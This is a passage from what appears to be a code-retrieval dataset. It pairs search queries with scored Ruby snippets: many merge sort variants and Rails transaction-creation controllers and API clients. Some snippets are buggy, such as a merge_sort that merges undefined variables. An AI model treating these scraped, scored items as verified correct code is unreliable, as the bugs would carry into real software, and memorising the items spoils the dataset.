"text": "def merge_sort(array, start_index, end_index)\n\n if start_index == end_index\n return [ array[start_index] ]\n end\n partition_point = ((start_index + end_index ) / 2).floor #ensure the left subarry is smaller\n\n #sort left sub-array\n left_array = merge_sort( array, start_index, partition_point )\n right_array = merge_sort( array, partition_point + 1 , end_index)\n \n #merge step \n new_array = []\n\n while left_array.size > 0 or right_array.size >0\n if !left_array.empty? and !right_array.empty?\n if left_array[0] >= right_array[0]\n new_array.push( right_array.delete_at(0) )\n \n else\n new_array.push( left_array.delete_at(0) )\n \n end\n elsif !left_array.empty?\n \n new_array.push( left_array.delete_at(0) )\n \n \n elsif !right_array.empty?\n \n new_array.push( right_array.delete_at(0) )\n\n end\n end\n\n return new_array\n\nend",
"title": ""
},
{
"docid": "502e82f0e7dd5714f85b47d63c57c2e0",
"score": "0.72213584",
"text": "def merge_sort2(arr)\n return arr if arr.length < 2\n\n midway = (arr.length / 2).floor\n #split array into two halves\n first_half = merge_sort2(arr[0..midway-1])\n second_half = merge_sort2(arr[midway..arr.length])\n merge(first_half,second_half)\nend",
"title": ""
},
{
"docid": "db4ae077687a31f2fd28939a3502d9b3",
"score": "0.72114336",
"text": "def merge_sort(array)\n if array.length <= 1\n return array\n else\n mid = (array.length/2).floor\n left = merge_sort(array[0..mid-1])\n right = merge_sort(array[mid..array.length])\n merge(left, right)\n end\nend",
"title": ""
},
{
"docid": "cac7c962eed828cdc4397ee9fad39407",
"score": "0.7209457",
"text": "def merge_sort(array)\n return array if array.length == 1\n mid_idx = array.length / 2\n left = array[0...mid_idx]\n right = array[mid_idx..-1]\n sorted_left = merge_sort(left) \n sorted_right = merge_sort(right)\n merge(sorted_left, sorted_right)\nend",
"title": ""
},
{
"docid": "2ae6ad860c4f0fc5c46b89e46d5af326",
"score": "0.7206389",
"text": "def merge_sort(array)\n return array if array.length <= 1\n mid = array.length / 2\n sorted_left = merge_sort(array.take(mid))\n sorted_right = merge_sort(array.drop(mid))\n merge(sorted_left,sorted_right)\nend",
"title": ""
},
{
"docid": "c2f7fc6802a263bbf581865df234bbea",
"score": "0.72059613",
"text": "def merge_sort(arr)\n return arr if arr.size < 2\n\n left, right = merge_sort(arr.slice(0..(arr.size/2)-1)), merge_sort(arr.slice((arr.size/2)..arr.size))\n\n result = []\n result.push(left.first < right.first ? left.shift : right.shift) while !left.empty? && !right.empty?\n\n result.push(left) unless left.empty?\n result.push(right) unless right.empty?\n result.flatten\nend",
"title": ""
},
{
"docid": "b7a3263e96468984f6d7947c58cb1657",
"score": "0.7204778",
"text": "def merge_sort(array)\n return array if array.size <= 1\n mid = (array.size / 2).floor\n left = merge_sort(array[0..mid - 1])\n right = merge_sort(array[mid..array.size])\n merge(left, right)\nend",
"title": ""
},
{
"docid": "8b02aff90fe6dbb436b6ae68519aec3e",
"score": "0.71999913",
"text": "def merge_sort(array)\n return array if array.length < 2\n mid = array.length / 2\n sleft = merge_sort(array.take(mid))\n sright = merge_sort(array.drop(mid))\n merge(left, right)\nend",
"title": ""
},
{
"docid": "7e5b5d2f21eb0321fce64eae57cca893",
"score": "0.7197279",
"text": "def merge_sort(arr)\n return arr if arr.length < 2\n\n arr1 = merge_sort(arr.take(arr.length/2))\n arr2 = merge_sort(arr.drop(arr.length/2))\n\n return merge(arr1,arr2)\nend",
"title": ""
},
{
"docid": "b2ec1516c43895bab2c808960034bbe5",
"score": "0.71963966",
"text": "def merge_sort(array)\n if array.size <= 1\n array\n else\n midpoint = (array.size - 1) / 2\n merge(merge_sort(array[0..midpoint]), merge_sort(array[midpoint+1...array.size]))\n end\nend",
"title": ""
},
{
"docid": "bb2c7576ed1009a13ef03ca294e59d14",
"score": "0.7195831",
"text": "def merge_sort(arr)\n\treturn arr if arr.length <= 1\n\n\tleft = arr.take(arr.length / 2)\n\tright = arr.drop(arr.length / 2)\n\n\tmerge(merge_sort(left), merge_sort(right))\nend",
"title": ""
},
{
"docid": "840570b0082f02befe108a4fdcaa9a57",
"score": "0.71851283",
"text": "def merge_sort(arr)\n return arr if arr.length <= 1\n\n array_a = merge_sort(arr[0..arr.length / 2 - 1 ])\n array_b = merge_sort(arr[arr.length/2..-1])\n new_array = []\n \n until array_a.empty? || array_b.empty?\n new_array << if array_a[0] <= array_b[0]\n array_a.shift\n else\n array_b.shift\n end\n end\n new_array.concat(array_a, array_b)\n\n end",
"title": ""
},
{
"docid": "ee90399a2506644484c73076e05216f0",
"score": "0.71825105",
"text": "def merge_sort(array)\r\n return array if array.length < 2\r\n mid = array.length/2\r\n left = array.take(mid)\r\n right = array.drop(mid)\r\n # debugger\r\n left_sorted = merge_sort(left)\r\n right_sorted = merge_sort(right)\r\n\r\n merge(left_sorted, right_sorted)\r\nend",
"title": ""
},
{
"docid": "ef385c465b1b213c84e8846b1374191e",
"score": "0.71820134",
"text": "def merge_sort_imperative(arr, depth = 0)\n return if arr.length <= 1\n\n mid\t= arr.size / 2\n left\t= arr[0...mid]\n right\t= arr[mid..arr.size]\n\n merge_sort_imperative(left, depth + 1)\n merge_sort_imperative(right, depth + 1)\n\n puts \"Merging #{left} -- #{right}\"\n li = 0\n ri = 0\n ai = 0\n while li < left.size && ri < right.size\n if left[li] < right[ri]\n puts 'taking left'\n arr[ai] = left[li]\n li += 1\n else\n puts 'taking right'\n arr[ai] = right[ri]\n ri += 1\n end\n ai += 1\n end\n\n while li < left.size\n puts 'taking left overflow'\n arr[ai] = left[li]\n li += 1\n ai += 1\n end\n\n while ri < right.size\n puts 'taking right overflow'\n arr[ai] = right[ri]\n ri += 1\n ai += 1\n end\nend",
"title": ""
}
] |
40aac4bcc06cc5cbec228a73d2ba7f8f
|
POST /transactions POST /transactions.json
|
[
{
"docid": "c5a9b9040dc155dba7ed7e4ce9b0711d",
"score": "0.62876374",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to '/check-out', notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n check_out()\n UserHistoriesController.new.add_record(@transaction)\n LaptopHistoriesController.new.add_record(@transaction)\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "0223c6f1aa8e4390fc1de89565f96635",
"score": "0.7125511",
"text": "def postTransaction(useridgiving, useridreceiving, amount)\n parameters={useridgiving: useridgiving.to_i, useridreceiving: useridreceiving.to_i, amount: amount.to_f, state: \"initial\"}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4050/transactions\", options) # create initial state\n return results\n end",
"title": ""
},
{
"docid": "8e963fe448cc053d3bd2a9cb20961387",
"score": "0.7108195",
"text": "def transactions_post(opts = {})\n data, _status_code, _headers = transactions_post_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "bd0a587a4734fdc7b66db734be57497a",
"score": "0.7107549",
"text": "def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end",
"title": ""
},
{
"docid": "1f4450edfb7c7e4367c2ccef17406e6a",
"score": "0.7061152",
"text": "def create\n account = Account.find(params[:account_id].to_i)\n @transaction = account.transactions.build(transaction_params)\n if @transaction.save\n account.update(balance: account.get_balance)\n transaction_json = TransactionSerializer.new(@transaction).serialized_json\n render json: transaction_json\n else\n render json: {\n errors: @transaction.errors.full_messages\n }\n end\n end",
"title": ""
},
{
"docid": "940de93d6db9557f033001703f071a19",
"score": "0.697175",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n # Assigns the correct user_id in case the user puts another user's ID\n\n @transaction.user_id = User.find_by(api_key: params[:api_key]).id\n\n if @transaction.save\n\n @coin = Coin.find(@transaction.coin_id)\n\n # If deposit, increment @coin's value, else decrement \n # Also, send email if value is less than 4\n\n if @transaction.transaction_type == 1\n @coin.update_attributes(value: @coin.value+1)\n if @coin.value < 4\n LowFundsMailer.low_funds(@coin).deliver\n end\n\n else\n\n # If withdraw, must ensure the value is > 0\n\n if (@coin.value > 0)\n @coin.update_attributes(value: @coin.value-1)\n if @coin.value < 4\n LowFundsMailer.low_funds(@coin).deliver\n end\n else\n render json: [\"Sorry! There are no more of those coins.\"], status: 422\n end\n end\n @coin.save\n\n # Return the transaction \n \n render json: @transaction\n else\n render json: @transaction.errors.full_messages, status: 422\n end\n end",
"title": ""
},
{
"docid": "42cbf394b86ce8a75690a5ec1f077703",
"score": "0.69396377",
"text": "def create\n @transaction = current_user.transactions.build(transaction_params)\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully created.' }\n format.json { redirect_to transactions_url, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "422ab14864897268df37863b440f70bb",
"score": "0.68856525",
"text": "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end",
"title": ""
},
{
"docid": "cf611fa3f0f8b7af1ef04dd01e517b03",
"score": "0.68756235",
"text": "def submit_transactions(raw_transactions: [])\n params = {\n raw_transactions: raw_transactions,\n }\n client.make_request('/submit-transactions', 'post', params: params)\n end",
"title": ""
},
{
"docid": "799d9e231ccdc24362b732f9c99b6bdc",
"score": "0.68639505",
"text": "def createTransaction(toAcc, json)\n\t\turl = \"#{self.urlWithEntity}/#{toAcc}/transactions?key=#{self.apiKey}\"\n\t\turi = URI.parse(url)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\trequest = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' => 'application/json'})\n\t\trequest.body = json\n\t\tresp = http.request(request)\n\tend",
"title": ""
},
{
"docid": "f73ff5842c96ff4c3ae8d328c9ce29e4",
"score": "0.6837983",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to account_transactions_path(@transaction.account), notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { redirect_to account_transactions_path(current_user.accounts.expense_accounts.first), alert: 'Transaction could not be added.' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "06d950f2bc915930ad61079532753755",
"score": "0.68291134",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n @num = 1\n while Transaction.where([\"transaction_id = ?\", @num]).size > 0\n @num = @num + 1\n end\n @transaction.transaction_id = @num\n @transaction.user_email = current_user.email\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b613e5bd5ff1ddc33ed2881dd7a534c0",
"score": "0.6797733",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path,\n notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n @users = User.order(:name)\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e86df660cd270a6805acffd351d2c062",
"score": "0.6790797",
"text": "def create\n result = CreateTransaction.new(transaction_params, @merchant).call\n\n if result.errors?\n render json: { errors: result.errors }, status: :unprocessable_entity\n else\n render json: result.transaction.to_json, status: :created\n end\n end",
"title": ""
},
{
"docid": "87a32c2c200c7c98b89a8d5ed24b4d45",
"score": "0.67907465",
"text": "def transactions_post(method, opts = {})\n data, _status_code, _headers = transactions_post_with_http_info(method, opts)\n data\n end",
"title": ""
},
{
"docid": "8580284b1391e5fe6a5328424be6b49d",
"score": "0.6746014",
"text": "def transactions\n JSON.parse(response.body).fetch('transactions')\n end",
"title": ""
},
{
"docid": "16329ba176527cb6ea59b570114e07aa",
"score": "0.67209095",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16a1d95eb36710b80c34e28cf5a82742",
"score": "0.6705789",
"text": "def create\n cb = Coin.retrieve_from_api(transaction_params[\"CB_apikey\"])\n cs = Coin.retrieve_from_api(transaction_params[\"CS_apikey\"])\n\n @transaction = Transaction.new(transaction_params.merge(wallet_id: current_user.wallet.id, CBought_id: cb, CSold_id: cs))\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: \"Transaction was successfully created.\" }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d424f66f06fde4ddabafb8e46e6c94b",
"score": "0.6683106",
"text": "def transaction_params\n params.require(:transaction).permit(:get, :post)\n end",
"title": ""
},
{
"docid": "684cf3948d76629c94caa4d683d6fe94",
"score": "0.66785884",
"text": "def create\n transaction = current_user.transactions.new(transaction_params)\n if transaction.save\n new_transaction = current_user.transactions.new\n new_transaction.payments.build\n flash[:success] = 'Transaction created successfully.'\n render :success, locals: { transaction: transaction, new_transaction: new_transaction, transacted_at: params[:transaction][:transacted_at] }\n else\n flash[:failure] = transaction.errors.full_messages.to_sentence\n render :failure, locals: { transaction: transaction } # TODO: Check n Remove locals\n end\n end",
"title": ""
},
{
"docid": "9a9fce3a2247a598d0006bb399b59abe",
"score": "0.6675011",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93fab68f294bf8e801778f13e39ec05b",
"score": "0.66527694",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n account = Account.find(@transaction.accounts_id)\n if account.limite < @transaction.valor\n flash[:error] = \"Valor da Transação excede ao limite da conta\"\n return redirect_to transactions_path\n end\n \n doneTransaction = account.beginTransaction(@transaction.tipo,@transaction.valor,@transaction.recipient)\n unless doneTransaction\n flash[:error] = account.errors.first\n return redirect_to transactions_path\n end\n\n\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc4e015d97314c3788de4ef8e3994605",
"score": "0.66488564",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9dadf221a619c134c933aceb0201ecc",
"score": "0.6646629",
"text": "def create\n @transaction = Txn.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Txn was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e04111ed68ed084a1b4385ce0fa40f0d",
"score": "0.6643353",
"text": "def create\n @transaction = current_user.transactions.new(params[:transaction])\n \n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"title": ""
},
{
"docid": "f3f7d76e31df80f88c93b1d1658d0485",
"score": "0.66388756",
"text": "def user_transactions\n user_deposits = get_user_deposits\n user_withdrawals = get_user_withdrawals\n json_response({:user_transactions => @user_transactions, :user_deposits => user_deposits, :user_withdrawals => user_withdrawals})\n end",
"title": ""
},
{
"docid": "d000861aed6400a6cbdd32a2dd0b039f",
"score": "0.6633995",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d000861aed6400a6cbdd32a2dd0b039f",
"score": "0.6633995",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d000861aed6400a6cbdd32a2dd0b039f",
"score": "0.6633995",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d000861aed6400a6cbdd32a2dd0b039f",
"score": "0.6633995",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d000861aed6400a6cbdd32a2dd0b039f",
"score": "0.6633995",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dedca7da8dfa4daf92c60c183fd0a330",
"score": "0.662397",
"text": "def transactionById\n results = HTTParty.get(\"http://192.168.99.101:4050/transactions/\" + (params[:id]).to_s)\n render json: results.parsed_response, status: results.code\n end",
"title": ""
},
{
"docid": "fd4f2a6a00f3252d466b8db1f43541a4",
"score": "0.66185856",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n @flat_details = Flat.find_by_id(transaction_params[:flat_id])\n @flat_details.balance_amount = @flat_details.balance_amount.to_i - transaction_params[:debit].to_i\n @transaction.balance = @flat_details.balance_amount\n @flat_details.save\n respond_to do |format|\n if @transaction.save\n\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb29d3751f0942e60eae602ee914f8d8",
"score": "0.66130173",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n # rollback all db records once one fail\n transaction = @transaction.transaction do\n amount = transaction_params.dig(:amount).to_d\n @transaction.user.apply_withdrawal(amount)\n @transaction.transaction_with.apply_deposite(amount)\n # create a second transaction record for depoiste, this record useful for\n # history\n Transaction.create(\n amount: @transaction.amount, user: @transaction.transaction_with,\n transaction_state: 'deposite', transaction_with: @transaction.user\n )\n @transaction.save\n end\n\n respond_to do |format|\n if transaction\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cfc940d5f150bd566b21ca20cba8aa16",
"score": "0.6604223",
"text": "def transaction_params\n params.require(:transaction).permit(:user_id, :account_id, :transaction_endpoint_id, :transfer_to, :category_id, :type, :amount, :transaction_at, :status)\n end",
"title": ""
},
{
"docid": "9d4cd6ee05d786cc8358686f4b9a6483",
"score": "0.65981513",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "269fbaff348a51342447a47d898c0159",
"score": "0.6592873",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to home_url, notice: 'Transaction was posted to the journal.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { redirect_to session[:return_to], :flash => {errors: 'Error parsing transaction!'} }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc1fee4d6860051ddce2478b476b931d",
"score": "0.65876186",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n # format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n # format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cee719945d5c170371028eb54b6e2e1b",
"score": "0.658551",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.stamp = Time.now\n\n respond_to do |format|\n if @transaction.save\n @transaction.customer.lastmodified = @transaction.stamp\n @transaction.customer.balance = @transaction.customer.balance + @transaction.amount\n @transaction.customer.save\n\n format.html { redirect_to @transaction.customer }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6013d8e21df49fe7c3adcf90c9fcb9fd",
"score": "0.6565787",
"text": "def post_transactions(transaction_request, opts = {})\n data, _status_code, _headers = post_transactions_with_http_info(transaction_request, opts)\n data\n end",
"title": ""
},
{
"docid": "f1e30cc534c2da3a9ffa799fbc0ebb08",
"score": "0.65491617",
"text": "def transaction_params\n params.require(:transaction).permit(:user_id, :transaction_with_id, :transaction_state, :amount)\n end",
"title": ""
},
{
"docid": "d69269640591651ef25d963e6ebe86e4",
"score": "0.6538382",
"text": "def create\n @transaction = Transaction.new(transaction_params.merge(user: current_user))\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36b01ef8e0b9f4b035cbfc6cfc16056f",
"score": "0.65338445",
"text": "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end",
"title": ""
},
{
"docid": "36b01ef8e0b9f4b035cbfc6cfc16056f",
"score": "0.65338445",
"text": "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end",
"title": ""
},
{
"docid": "36b01ef8e0b9f4b035cbfc6cfc16056f",
"score": "0.65338445",
"text": "def transactions(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/transactions\", options).body)\n transactions = response.key?('transactions') ? response['transactions'] : []\n transactions.map { |attributes| Promisepay::Transaction.new(@client, attributes) }\n end",
"title": ""
},
{
"docid": "dbad88751794013d063ae05080b1b1e5",
"score": "0.65299064",
"text": "def postTransactionInprogress( transaction_id, paypal_setexpresscheckout)\n params = Hash.new\n params['transaction_id'] = transaction_id\n params['paypal_setexpresscheckout'] = paypal_setexpresscheckout\n return doCurl(\"post\",\"/transaction/inprogress\",params)\n end",
"title": ""
},
{
"docid": "dee03ac8d38213bae2b7b6f7fb091b8a",
"score": "0.6520395",
"text": "def create\n @wallet_transaction = TransactionCreate.perform(transaction_params: wallet_transaction_params,\n user: current_user)\n respond_to do |format|\n if @wallet_transaction.save\n format.html { redirect_to @wallet_transaction, notice: 'Wallet transaction was successfully created.' }\n format.json { render :show, status: :created, location: @wallet_transaction }\n else\n format.html { render :new }\n format.json { render json: @wallet_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd30f3b3b89652ca8eb3728ae98423be",
"score": "0.6509878",
"text": "def create\n respond_to do |format|\n @transaction = Transaction.new(transaction_params)\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n \n end\n end",
"title": ""
},
{
"docid": "b7104dee74c1c68bc26cea573b125d4a",
"score": "0.6478317",
"text": "def create\n @transaction = Transaction.new\n @transaction.amount = params[:amount]\n @transaction.from_account = Account.find_by(account_num: params[:account_num])\n @transaction.status = 'pending'\n @transaction.trans_type = 'deposit'\n @transaction.trans_from = User.find(session[:user_id])\n @transaction.save\n redirect_to accounts_path\n end",
"title": ""
},
{
"docid": "f67c78d6458b8fa4dbbfd64a51bf1578",
"score": "0.64684814",
"text": "def transaction_params\n params.require(:transaction).permit(:transaction_type, :user_id, :coin_id)\n end",
"title": ""
},
{
"docid": "d4ff35590d0701b45acd4f5339da5e3c",
"score": "0.6467931",
"text": "def create_transaction(transaction)\n if transaction.kind_of?(Hash)\n transaction = ArrowPayments::Transaction.new(transaction)\n end\n\n # Set default transaction attributes\n transaction.transaction_source = \"API\"\n\n params = transaction.to_source_hash\n params[\"Amount\"] = params[\"TotalAmount\"]\n\n resp = post(\"/transaction/add\", params)\n\n if resp[\"Success\"] == true\n ArrowPayments::Transaction.new(resp)\n else\n raise ArrowPayments::Error, resp[\"Message\"]\n end\n end",
"title": ""
},
{
"docid": "073ba8e065fd013b56179cbb64c908f9",
"score": "0.64341694",
"text": "def index\n @transactions = Transaction.all\n render json: @transactions\n end",
"title": ""
},
{
"docid": "1fa2d3e20245735b72194e45f9b64d27",
"score": "0.6428424",
"text": "def putTransaction( entity_id, user_id, basket_total, basket, currency, notes)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['basket_total'] = basket_total\n params['basket'] = basket\n params['currency'] = currency\n params['notes'] = notes\n return doCurl(\"put\",\"/transaction\",params)\n end",
"title": ""
},
{
"docid": "c02daa5f1528dc9386d68cfbe344e4f7",
"score": "0.6426964",
"text": "def create\n @admin_transaction = AdminTransaction.new(admin_transaction_params)\n if @admin_transaction.save\n render json: @admin_transaction, status: :created, location: @admin_transaction\n else\n render json: @admin_transaction.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "733986987e776506a818188edcf5838e",
"score": "0.6424951",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n respond_to do |format|\n @transaction.user = current_user\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b948aee53645b6c28bc82dc377d6a06",
"score": "0.6424409",
"text": "def transaction_params\n params.require(:transaction).permit(:user_id, :transaction, :portfolio_id, :holding_id, :date, \n :activity, :quantity, :symbol, :description, :price, :commission, :fees, :amount)\n end",
"title": ""
},
{
"docid": "4e85d689a7ed8407c7d4c9dae144556c",
"score": "0.6423362",
"text": "def create\n @transaction_request = TransactionRequest.new(transaction_request_params)\n\n if @transaction_request.save\n render :show, status: :created, location: @transaction_request\n else\n render json: @transaction_request.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "201a5bb21d155d98d31a856d8247cf09",
"score": "0.64217496",
"text": "def api_transactions_command(transfer_json_data, customer_id = ENV['CIRCLE_CUSTOMER_ID'], customer_session_token = ENV['CIRCLE_CUSTOMER_SESSION_TOKEN'], circle_bank_account_id = ENV['CIRCLE_BANK_ACCOUNT_ID'])\n btc_transfer_json_data = transfer_json_data.to_json\n content_length = btc_transfer_json_data.length\n\n api_url = \"https://www.circle.com/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n path_header = \"/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n curl = Curl::Easy.http_post(api_url, btc_transfer_json_data) do |http|\n http.headers['host'] = 'www.circle.com'\n http.headers['method'] = 'POST'\n http.headers['path'] = path_header\n http.headers['scheme'] = 'https'\n http.headers['version'] = 'HTTP/1.1'\n http.headers['accept'] = 'application/json, text/plain, */*'\n http.headers['accept-encoding'] = 'gzip,deflate'\n http.headers['accept-language'] = 'en-US,en;q=0.8'\n http.headers['content-length'] = content_length\n http.headers['content-type'] = 'application/json;charset=UTF-8'\n http.headers['cookie'] = circle_cookie\n http.headers['origin'] = 'https://www.circle.com'\n http.headers['referer'] = \"https://www.circle.com/send/confirm\"\n http.headers['user-agent'] = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 